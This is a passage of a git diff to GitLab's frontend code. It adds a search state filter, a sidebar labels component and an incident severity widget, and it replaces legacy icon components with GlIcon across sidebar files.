+
+export const FILTER_STATES = {
+ ANY: {
+ label: __('Any'),
+ value: 'all',
+ },
+ OPEN: {
+ label: __('Open'),
+ value: 'opened',
+ },
+ CLOSED: {
+ label: __('Closed'),
+ value: 'closed',
+ },
+ MERGED: {
+ label: __('Merged'),
+ value: 'merged',
+ },
+};
+
+export const SCOPES = {
+ ISSUES: 'issues',
+ MERGE_REQUESTS: 'merge_requests',
+};
+
+export const FILTER_STATES_BY_SCOPE = {
+ [SCOPES.ISSUES]: [FILTER_STATES.ANY, FILTER_STATES.OPEN, FILTER_STATES.CLOSED],
+ [SCOPES.MERGE_REQUESTS]: [
+ FILTER_STATES.ANY,
+ FILTER_STATES.OPEN,
+ FILTER_STATES.MERGED,
+ FILTER_STATES.CLOSED,
+ ],
+};
diff --git a/app/assets/javascripts/search/state_filter/index.js b/app/assets/javascripts/search/state_filter/index.js
new file mode 100644
index 00000000000..13708574cfb
--- /dev/null
+++ b/app/assets/javascripts/search/state_filter/index.js
@@ -0,0 +1,34 @@
+import Vue from 'vue';
+import Translate from '~/vue_shared/translate';
+import StateFilter from './components/state_filter.vue';
+
+Vue.use(Translate);
+
+export default () => {
+ const el = document.getElementById('js-search-filter-by-state');
+
+ if (!el) return false;
+
+ return new Vue({
+ el,
+ components: {
+ StateFilter,
+ },
+ data() {
+ const { dataset } = this.$options.el;
+ return {
+ scope: dataset.scope,
+ state: dataset.state,
+ };
+ },
+
+ render(createElement) {
+ return createElement('state-filter', {
+ props: {
+ scope: this.scope,
+ state: this.state,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/search_autocomplete.js b/app/assets/javascripts/search_autocomplete.js
index 990c8faf253..7073b9ca12d 100644
--- a/app/assets/javascripts/search_autocomplete.js
+++ b/app/assets/javascripts/search_autocomplete.js
@@ -13,6 +13,7 @@ import {
spriteIcon,
} from './lib/utils/common_utils';
import Tracking from '~/tracking';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
/**
* Search input in top navigation bar.
@@ -119,7 +120,7 @@ export class SearchAutocomplete {
}
createAutocomplete() {
- return this.searchInput.glDropdown({
+ return initDeprecatedJQueryDropdown(this.searchInput, {
filterInputBlur: false,
filterable: true,
filterRemote: true,
@@ -134,6 +135,7 @@ export class SearchAutocomplete {
data: this.getData.bind(this),
selectable: true,
clicked: this.onClick.bind(this),
+ trackSuggestionClickedLabel: 'search_autocomplete_suggestion',
});
}
@@ -145,10 +147,10 @@ export class SearchAutocomplete {
if (!term) {
const contents = this.getCategoryContents();
if (contents) {
- const glDropdownInstance = this.searchInput.data('glDropdown');
+ const deprecatedJQueryDropdownInstance = this.searchInput.data('deprecatedJQueryDropdown');
- if (glDropdownInstance) {
- glDropdownInstance.filter.options.callback(contents);
+ if (deprecatedJQueryDropdownInstance) {
+ deprecatedJQueryDropdownInstance.filter.options.callback(contents);
}
this.enableAutocomplete();
}
@@ -463,7 +465,7 @@ export class SearchAutocomplete {
}
highlightFirstRow() {
- this.searchInput.data('glDropdown').highlightRowAtIndex(null, 0);
+ this.searchInput.data('deprecatedJQueryDropdown').highlightRowAtIndex(null, 0);
}
getAvatar(item) {
diff --git a/app/assets/javascripts/self_monitor/components/self_monitor_form.vue b/app/assets/javascripts/self_monitor/components/self_monitor_form.vue
index adc7d3c5ebd..1ccf5e9e032 100644
--- a/app/assets/javascripts/self_monitor/components/self_monitor_form.vue
+++ b/app/assets/javascripts/self_monitor/components/self_monitor_form.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import Vue from 'vue';
import { GlFormGroup, GlDeprecatedButton, GlModal, GlToast, GlToggle } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
diff --git a/app/assets/javascripts/serverless/components/functions.vue b/app/assets/javascripts/serverless/components/functions.vue
index c44a14f1785..e15549f5864 100644
--- a/app/assets/javascripts/serverless/components/functions.vue
+++ b/app/assets/javascripts/serverless/components/functions.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapState, mapActions, mapGetters } from 'vuex';
import { GlLink, GlLoadingIcon } from '@gitlab/ui';
import { sprintf, s__ } from '~/locale';
diff --git a/app/assets/javascripts/set_status_modal/event_hub.js b/app/assets/javascripts/set_status_modal/event_hub.js
deleted file mode 100644
index e31806ad199..00000000000
--- a/app/assets/javascripts/set_status_modal/event_hub.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import createEventHub from '~/helpers/event_hub_factory';
-
-export default createEventHub();
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_trigger.vue b/app/assets/javascripts/set_status_modal/set_status_modal_trigger.vue
deleted file mode 100644
index 0e8b6d93f42..00000000000
--- a/app/assets/javascripts/set_status_modal/set_status_modal_trigger.vue
+++ /dev/null
@@ -1,27 +0,0 @@
-<script>
-import { s__ } from '~/locale';
-import eventHub from './event_hub';
-
-export default {
- props: {
- hasStatus: {
- type: Boolean,
- required: true,
- },
- },
- computed: {
- buttonText() {
- return this.hasStatus ? s__('SetStatusModal|Edit status') : s__('SetStatusModal|Set status');
- },
- },
- methods: {
- openModal() {
- eventHub.$emit('openModal');
- },
- },
-};
-</script>
-
-<template>
- <button type="button" class="btn menu-item" @click="openModal">{{ buttonText }}</button>
-</template>
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
index cb047530c17..09e893ff285 100644
--- a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
@@ -1,12 +1,11 @@
<script>
+/* eslint-disable vue/no-v-html */
import $ from 'jquery';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
-import { GlModal, GlTooltipDirective } from '@gitlab/ui';
+import { GlModal, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
-import Icon from '~/vue_shared/components/icon.vue';
import { __, s__ } from '~/locale';
import Api from '~/api';
-import eventHub from './event_hub';
import EmojiMenuInModal from './emoji_menu_in_modal';
import * as Emoji from '~/emoji';
@@ -14,7 +13,7 @@ const emojiMenuClass = 'js-modal-status-emoji-menu';
export default {
components: {
- Icon,
+ GlIcon,
GlModal,
},
directives: {
@@ -48,15 +47,12 @@ export default {
},
},
mounted() {
- eventHub.$on('openModal', this.openModal);
+ this.$root.$emit('bv::show::modal', this.modalId);
},
beforeDestroy() {
this.emojiMenu.destroy();
},
methods: {
- openModal() {
- this.$root.$emit('bv::show::modal', this.modalId);
- },
closeModal() {
this.$root.$emit('bv::hide::modal', this.modalId);
},
@@ -196,9 +192,9 @@ export default {
v-show="noEmoji"
class="js-no-emoji-placeholder no-emoji-placeholder position-relative"
>
- <icon name="slight-smile" class="award-control-icon-neutral" />
- <icon name="smiley" class="award-control-icon-positive" />
- <icon name="smile" class="award-control-icon-super-positive" />
+ <gl-icon name="slight-smile" class="award-control-icon-neutral" />
+ <gl-icon name="smiley" class="award-control-icon-positive" />
+ <gl-icon name="smile" class="award-control-icon-super-positive" />
</span>
</button>
</span>
@@ -223,7 +219,7 @@ export default {
class="js-clear-user-status-button clear-user-status btn"
@click="clearStatusInputs()"
>
- <icon name="close" />
+ <gl-icon name="close" />
</button>
</span>
</div>
diff --git a/app/assets/javascripts/shared/milestones/form.js b/app/assets/javascripts/shared/milestones/form.js
index 0ff84dc4667..9ee02f923d5 100644
--- a/app/assets/javascripts/shared/milestones/form.js
+++ b/app/assets/javascripts/shared/milestones/form.js
@@ -16,5 +16,6 @@ export default (initGFM = true) => {
milestones: initGFM,
labels: initGFM,
snippets: initGFM,
+ vulnerabilities: initGFM,
});
};
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue b/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue
index 9a60172db2e..878b331fb3c 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue
@@ -59,7 +59,7 @@ export default {
};
},
assigneeUrl() {
- return this.user.web_url;
+ return this.user.web_url || this.user.webUrl;
},
},
};
diff --git a/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue b/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
index 7375855f899..eabd4d88d52 100644
--- a/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue
@@ -1,5 +1,5 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import CollapsedAssignee from './collapsed_assignee.vue';
@@ -12,6 +12,7 @@ export default {
},
components: {
CollapsedAssignee,
+ GlIcon,
},
props: {
users: {
@@ -102,7 +103,7 @@ export default {
:title="tooltipTitle"
class="sidebar-collapsed-icon sidebar-collapsed-user"
>
- <i v-if="hasNoUsers" :aria-label="__('None')" class="fa fa-user"> </i>
+ <gl-icon v-if="hasNoUsers" name="user" :aria-label="__('None')" />
<collapsed-assignee
v-for="user in collapsedUsers"
:key="user.id"
diff --git a/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
new file mode 100644
index 00000000000..4697d85472b
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
@@ -0,0 +1,37 @@
+<script>
+import { n__ } from '~/locale';
+import UncollapsedAssigneeList from '~/sidebar/components/assignees/uncollapsed_assignee_list.vue';
+
+export default {
+ components: {
+ UncollapsedAssigneeList,
+ },
+ inject: ['rootPath'],
+ props: {
+ users: {
+ type: Array,
+ required: true,
+ },
+ },
+ computed: {
+ assigneesText() {
+ return n__('Assignee', '%d Assignees', this.users.length);
+ },
+ emptyUsers() {
+ return this.users.length === 0;
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-flex-direction-column">
+ <label data-testid="assigneeLabel">{{ assigneesText }}</label>
+ <div v-if="emptyUsers" data-testid="none">
+ <span>
+ {{ __('None') }}
+ </span>
+ </div>
+ <uncollapsed-assignee-list v-else :users="users" :root-path="rootPath" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
index 14c14d0bad1..2f714ac3847 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
@@ -62,7 +62,7 @@ export default {
this.addAssignee = this.store.addAssignee.bind(this.store);
this.removeAllAssignees = this.store.removeAllAssignees.bind(this.store);
- // Get events from glDropdown
+ // Get events from deprecatedJQueryDropdown
eventHub.$on('sidebar.removeAssignee', this.removeAssignee);
eventHub.$on('sidebar.addAssignee', this.addAssignee);
eventHub.$on('sidebar.removeAllAssignees', this.removeAllAssignees);
diff --git a/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue b/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
index fed9e5886c0..95934c0ef2a 100644
--- a/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue
@@ -73,9 +73,9 @@ export default {
:root-path="rootPath"
:issuable-type="issuableType"
>
- <div class="ml-2">
- <span class="author"> {{ user.name }} </span>
- <span class="username"> {{ username }} </span>
+ <div class="ml-2 gl-line-height-normal">
+ <div>{{ user.name }}</div>
+ <div>{{ username }}</div>
</div>
</assignee-avatar-link>
<div v-else>
diff --git a/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue b/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue
index c6f7d5e44ad..2530cb77acd 100644
--- a/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue
+++ b/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue
@@ -1,18 +1,17 @@
<script>
import { mapState } from 'vuex';
+import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import tooltip from '~/vue_shared/directives/tooltip';
-import Icon from '~/vue_shared/components/icon.vue';
import eventHub from '~/sidebar/event_hub';
import EditForm from './edit_form.vue';
export default {
components: {
EditForm,
- Icon,
+ GlIcon,
},
directives: {
- tooltip,
+ GlTooltip: GlTooltipDirective,
},
props: {
fullPath: {
@@ -73,15 +72,12 @@ export default {
<div class="block issuable-sidebar-item confidentiality">
<div
ref="collapseIcon"
- v-tooltip
+ v-gl-tooltip.viewport.left
:title="tooltipLabel"
class="sidebar-collapsed-icon"
- data-container="body"
- data-placement="left"
- data-boundary="viewport"
@click="toggleForm"
>
- <icon :name="confidentialityIcon" aria-hidden="true" />
+ <gl-icon :name="confidentialityIcon" aria-hidden="true" />
</div>
<div class="title hide-collapsed">
{{ __('Confidentiality') }}
@@ -105,11 +101,11 @@ export default {
:issuable-type="issuableType"
/>
<div v-if="!confidential" class="no-value sidebar-item-value" data-testid="not-confidential">
- <icon :size="16" name="eye" aria-hidden="true" class="sidebar-item-icon inline" />
+ <gl-icon :size="16" name="eye" aria-hidden="true" class="sidebar-item-icon inline" />
{{ __('Not confidential') }}
</div>
<div v-else class="value sidebar-item-value hide-collapsed">
- <icon
+ <gl-icon
:size="16"
name="eye-slash"
aria-hidden="true"
diff --git a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
new file mode 100644
index 00000000000..d7be8927c29
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
@@ -0,0 +1,97 @@
+<script>
+import $ from 'jquery';
+import { difference, union } from 'lodash';
+import { mapState, mapActions } from 'vuex';
+import flash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
+import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
+
+export default {
+ components: {
+ LabelsSelect,
+ },
+ variant: DropdownVariant.Sidebar,
+ inject: [
+ 'allowLabelCreate',
+ 'allowLabelEdit',
+ 'allowScopedLabels',
+ 'iid',
+ 'initiallySelectedLabels',
+ 'issuableType',
+ 'labelsFetchPath',
+ 'labelsManagePath',
+ 'labelsUpdatePath',
+ 'projectIssuesPath',
+ 'projectPath',
+ ],
+ data: () => ({
+ labelsSelectInProgress: false,
+ }),
+ computed: {
+ ...mapState(['selectedLabels']),
+ },
+ mounted() {
+ this.setInitialState({
+ selectedLabels: this.initiallySelectedLabels,
+ });
+ },
+ methods: {
+ ...mapActions(['setInitialState', 'replaceSelectedLabels']),
+ handleDropdownClose() {
+ $(this.$el).trigger('hidden.gl.dropdown');
+ },
+ handleUpdateSelectedLabels(labels) {
+ const currentLabelIds = this.selectedLabels.map(label => label.id);
+ const userAddedLabelIds = labels.filter(label => label.set).map(label => label.id);
+ const userRemovedLabelIds = labels.filter(label => !label.set).map(label => label.id);
+
+ const issuableLabels = difference(
+ union(currentLabelIds, userAddedLabelIds),
+ userRemovedLabelIds,
+ );
+
+ this.labelsSelectInProgress = true;
+
+ axios({
+ data: {
+ [this.issuableType]: {
+ label_ids: issuableLabels,
+ },
+ },
+ method: 'put',
+ url: this.labelsUpdatePath,
+ })
+ .then(({ data }) => this.replaceSelectedLabels(data.labels))
+ .catch(() => flash(__('An error occurred while updating labels.')))
+ .finally(() => {
+ this.labelsSelectInProgress = false;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <labels-select
+ class="block labels js-labels-block"
+ :allow-label-create="allowLabelCreate"
+ :allow-label-edit="allowLabelEdit"
+ :allow-multiselect="true"
+ :allow-scoped-labels="allowScopedLabels"
+ :footer-create-label-title="__('Create project label')"
+ :footer-manage-label-title="__('Manage project labels')"
+ :labels-create-title="__('Create project label')"
+ :labels-fetch-path="labelsFetchPath"
+ :labels-filter-base-path="projectIssuesPath"
+ :labels-manage-path="labelsManagePath"
+ :labels-select-in-progress="labelsSelectInProgress"
+ :selected-labels="selectedLabels"
+ :variant="$options.sidebar"
+ @onDropdownClose="handleDropdownClose"
+ @updateSelectedLabels="handleUpdateSelectedLabels"
+ >
+ {{ __('None') }}
+ </labels-select>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue b/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue
index 1b4968fabf6..53ee7f46ad9 100644
--- a/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue
+++ b/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue
@@ -1,8 +1,8 @@
<script>
import { mapGetters } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import tooltip from '~/vue_shared/directives/tooltip';
-import Icon from '~/vue_shared/components/icon.vue';
import eventHub from '~/sidebar/event_hub';
import editForm from './edit_form.vue';
@@ -22,7 +22,7 @@ export default {
},
components: {
editForm,
- Icon,
+ GlIcon,
},
directives: {
@@ -88,7 +88,7 @@ export default {
data-boundary="viewport"
@click="toggleForm"
>
- <icon :name="lockStatus.icon" class="sidebar-item-icon is-active" />
+ <gl-icon :name="lockStatus.icon" class="sidebar-item-icon is-active" />
</div>
<div class="title hide-collapsed">
@@ -116,7 +116,7 @@ export default {
/>
<div data-testid="lock-status" class="sidebar-item-value" :class="lockStatus.class">
- <icon
+ <gl-icon
:size="16"
:name="lockStatus.icon"
class="sidebar-item-icon"
diff --git a/app/assets/javascripts/sidebar/components/participants/participants.vue b/app/assets/javascripts/sidebar/components/participants/participants.vue
index d2904f4157c..e7dbc47aea1 100644
--- a/app/assets/javascripts/sidebar/components/participants/participants.vue
+++ b/app/assets/javascripts/sidebar/components/participants/participants.vue
@@ -1,5 +1,5 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlIcon, GlLoadingIcon } from '@gitlab/ui';
import { __, n__, sprintf } from '~/locale';
import tooltip from '~/vue_shared/directives/tooltip';
import userAvatarImage from '~/vue_shared/components/user_avatar/user_avatar_image.vue';
@@ -10,6 +10,7 @@ export default {
},
components: {
userAvatarImage,
+ GlIcon,
GlLoadingIcon,
},
props: {
@@ -94,7 +95,7 @@ export default {
data-boundary="viewport"
@click="onClickCollapsedIcon"
>
- <i class="fa fa-users" aria-hidden="true"> </i>
+ <gl-icon name="users" />
<gl-loading-icon v-if="loading" />
<span v-else data-testid="collapsed-count"> {{ participantCount }} </span>
</div>
diff --git a/app/assets/javascripts/sidebar/components/severity/constants.js b/app/assets/javascripts/sidebar/components/severity/constants.js
new file mode 100644
index 00000000000..4f58ff38121
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/severity/constants.js
@@ -0,0 +1,41 @@
+import { __, s__ } from '~/locale';
+
+export const INCIDENT_SEVERITY = {
+ CRITICAL: {
+ value: 'CRITICAL',
+ icon: 'critical',
+ label: s__('IncidentManagement|Critical - S1'),
+ },
+ HIGH: {
+ value: 'HIGH',
+ icon: 'high',
+ label: s__('IncidentManagement|High - S2'),
+ },
+ MEDIUM: {
+ value: 'MEDIUM',
+ icon: 'medium',
+ label: s__('IncidentManagement|Medium - S3'),
+ },
+ LOW: {
+ value: 'LOW',
+ icon: 'low',
+ label: s__('IncidentManagement|Low - S4'),
+ },
+ UNKNOWN: {
+ value: 'UNKNOWN',
+ icon: 'unknown',
+ label: s__('IncidentManagement|Unknown'),
+ },
+};
+
+export const ISSUABLE_TYPES = {
+ INCIDENT: 'incident',
+};
+
+export const I18N = {
+ UPDATE_SEVERITY_ERROR: s__('SeverityWidget|There was an error while updating severity.'),
+ TRY_AGAIN: __('Please try again'),
+ EDIT: __('Edit'),
+ SEVERITY: s__('SeverityWidget|Severity'),
+ SEVERITY_VALUE: s__('SeverityWidget|Severity: %{severity}'),
+};
diff --git a/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql b/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql
new file mode 100644
index 00000000000..750e757971f
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql
@@ -0,0 +1,9 @@
+mutation updateIssuableSeverity($projectPath: ID!, $severity: IssuableSeverity!, $iid: String!) {
+ issueSetSeverity(input: { iid: $iid, severity: $severity, projectPath: $projectPath }) {
+ errors
+ issue {
+ iid
+ severity
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/components/severity/severity.vue b/app/assets/javascripts/sidebar/components/severity/severity.vue
new file mode 100644
index 00000000000..7e7d62256c9
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/severity/severity.vue
@@ -0,0 +1,42 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlIcon,
+ },
+ props: {
+ severity: {
+ type: Object,
+ required: true,
+ validator(severity) {
+ const { value, label, icon } = severity;
+ return value && label && icon;
+ },
+ },
+ iconSize: {
+ type: Number,
+ required: false,
+ default: 12,
+ },
+ iconOnly: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+};
+</script>
+
+<template>
+ <div
+ class="incident-severity gl-display-inline-flex gl-align-items-center gl-justify-content-between"
+ >
+ <gl-icon
+ :size="iconSize"
+ :name="`severity-${severity.icon}`"
+ :class="[`icon-${severity.icon}`, { 'gl-mr-3': !iconOnly }]"
+ />
+ <span v-if="!iconOnly">{{ severity.label }}</span>
+ </div>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
new file mode 100644
index 00000000000..8f3610b912a
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
@@ -0,0 +1,187 @@
+<script>
+import {
+ GlDropdown,
+ GlDropdownItem,
+ GlLoadingIcon,
+ GlTooltip,
+ GlSprintf,
+ GlLink,
+} from '@gitlab/ui';
+import { INCIDENT_SEVERITY, ISSUABLE_TYPES, I18N } from './constants';
+import updateIssuableSeverity from './graphql/mutations/update_issuable_severity.mutation.graphql';
+import SeverityToken from './severity.vue';
+import createFlash from '~/flash';
+
+export default {
+ i18n: I18N,
+ components: {
+ GlLoadingIcon,
+ GlTooltip,
+ GlSprintf,
+ GlDropdown,
+ GlDropdownItem,
+ GlLink,
+ SeverityToken,
+ },
+ props: {
+ projectPath: {
+ type: String,
+ required: true,
+ },
+ iid: {
+ type: String,
+ required: true,
+ },
+ initialSeverity: {
+ type: String,
+ required: false,
+ default: INCIDENT_SEVERITY.UNKNOWN.value,
+ },
+ issuableType: {
+ type: String,
+ required: false,
+ default: ISSUABLE_TYPES.INCIDENT,
+ validator: value => {
+ // currently severity is supported only for incidents, but this list might be extended
+ return [ISSUABLE_TYPES.INCIDENT].includes(value);
+ },
+ },
+ },
+ data() {
+ return {
+ isDropdownShowing: false,
+ isUpdating: false,
+ severity: this.initialSeverity,
+ };
+ },
+ computed: {
+ severitiesList() {
+ switch (this.issuableType) {
+ case ISSUABLE_TYPES.INCIDENT:
+ return Object.values(INCIDENT_SEVERITY);
+ default:
+ return [];
+ }
+ },
+ dropdownClass() {
+ return this.isDropdownShowing ? 'show' : 'gl-display-none';
+ },
+ selectedItem() {
+ return this.severitiesList.find(severity => severity.value === this.severity);
+ },
+ },
+ mounted() {
+ document.addEventListener('click', this.handleOffClick);
+ },
+ beforeDestroy() {
+ document.removeEventListener('click', this.handleOffClick);
+ },
+ methods: {
+ handleOffClick(event) {
+ if (!this.isDropdownShowing) {
+ return;
+ }
+
+ if (!this.$refs.sidebarSeverity.contains(event.target)) {
+ this.hideDropdown();
+ }
+ },
+ hideDropdown() {
+ this.isDropdownShowing = false;
+ const event = new Event('hidden.gl.dropdown');
+ this.$el.dispatchEvent(event);
+ },
+ toggleFormDropdown() {
+ this.isDropdownShowing = !this.isDropdownShowing;
+ },
+ updateSeverity(value) {
+ this.hideDropdown();
+ this.isUpdating = true;
+ this.$apollo
+ .mutate({
+ mutation: updateIssuableSeverity,
+ variables: {
+ iid: this.iid,
+ severity: value,
+ projectPath: this.projectPath,
+ },
+ })
+ .then(resp => {
+ const {
+ data: {
+ issueSetSeverity: {
+ errors = [],
+ issue: { severity },
+ },
+ },
+ } = resp;
+
+ if (errors[0]) {
+ throw errors[0];
+ }
+ this.severity = severity;
+ })
+ .catch(() =>
+ createFlash({
+ message: `${this.$options.i18n.UPDATE_SEVERITY_ERROR} ${this.$options.i18n.TRY_AGAIN}`,
+ }),
+ )
+ .finally(() => {
+ this.isUpdating = false;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div ref="sidebarSeverity" class="block">
+ <div ref="severity" class="sidebar-collapsed-icon" @click="toggleFormDropdown">
+ <severity-token :severity="selectedItem" :icon-size="14" :icon-only="true" />
+ <gl-tooltip :target="() => $refs.severity" boundary="viewport" placement="left">
+ <gl-sprintf :message="$options.i18n.SEVERITY_VALUE">
+ <template #severity>
+ {{ selectedItem.label }}
+ </template>
+ </gl-sprintf>
+ </gl-tooltip>
+ </div>
+
+ <div class="hide-collapsed">
+ <p class="title gl-display-flex gl-justify-content-space-between">
+ {{ $options.i18n.SEVERITY }}
+ <gl-link
+ data-testid="editButton"
+ href="#"
+ @click="toggleFormDropdown"
+ @keydown.esc="hideDropdown"
+ >
+ {{ $options.i18n.EDIT }}
+ </gl-link>
+ </p>
+
+ <gl-dropdown
+ :class="dropdownClass"
+ block
+ :text="selectedItem.label"
+ toggle-class="dropdown-menu-toggle gl-mb-2"
+ @keydown.esc.native="hideDropdown"
+ >
+ <gl-dropdown-item
+ v-for="option in severitiesList"
+ :key="option.value"
+ data-testid="severityDropdownItem"
+ :is-check-item="true"
+ :is-checked="option.value === severity"
+ @click="updateSeverity(option.value)"
+ >
+ <severity-token :severity="option" />
+ </gl-dropdown-item>
+ </gl-dropdown>
+
+ <gl-loading-icon v-if="isUpdating" :inline="true" />
+
+ <severity-token v-else-if="!isDropdownShowing" :severity="selectedItem" />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue b/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue
index 3b92ead8859..0457aad8795 100644
--- a/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue
+++ b/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue
@@ -1,7 +1,7 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import Tracking from '~/tracking';
-import icon from '~/vue_shared/components/icon.vue';
import toggleButton from '~/vue_shared/components/toggle_button.vue';
import tooltip from '~/vue_shared/directives/tooltip';
import eventHub from '../../event_hub';
@@ -16,7 +16,7 @@ export default {
tooltip,
},
components: {
- icon,
+ GlIcon,
toggleButton,
},
mixins: [Tracking.mixin({ label: 'right_sidebar' })],
@@ -118,7 +118,7 @@ export default {
data-boundary="viewport"
@click="onClickCollapsedIcon"
>
- <icon
+ <gl-icon
:name="notificationIcon"
:size="16"
aria-hidden="true"
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/collapsed_state.vue b/app/assets/javascripts/sidebar/components/time_tracking/collapsed_state.vue
index 65ecd5be05d..bc2319c0f36 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/collapsed_state.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/collapsed_state.vue
@@ -1,12 +1,12 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import icon from '~/vue_shared/components/icon.vue';
import tooltip from '~/vue_shared/directives/tooltip';
export default {
name: 'TimeTrackingCollapsedState',
components: {
- icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -105,7 +105,7 @@ export default {
data-placement="left"
data-boundary="viewport"
>
- <icon name="timer" />
+ <gl-icon name="timer" />
<div class="time-tracking-collapsed-summary">
<div :class="divClass">
<span :class="spanClass"> {{ text }} </span>
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/help_state.vue b/app/assets/javascripts/sidebar/components/time_tracking/help_state.vue
index 67abde0c22a..b45746e789d 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/help_state.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/help_state.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { sprintf, s__ } from '../../../locale';
import { joinPaths } from '~/lib/utils/url_utility';
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/spent_only_pane.vue b/app/assets/javascripts/sidebar/components/time_tracking/spent_only_pane.vue
index c2f30310e2e..b2b3b289c5c 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/spent_only_pane.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/spent_only_pane.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { sprintf, s__ } from '~/locale';
export default {
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
index 67a8f11b760..a2fb0ebcbc6 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
@@ -106,7 +106,7 @@ export default {
<div class="title hide-collapsed">
{{ __('Time tracking') }}
<div v-if="!showHelpState" class="help-button float-right" @click="toggleHelpState(true)">
- <i class="fa fa-question-circle" aria-hidden="true"> </i>
+ <gl-icon name="question-o" />
</div>
<div
v-if="showHelpState"
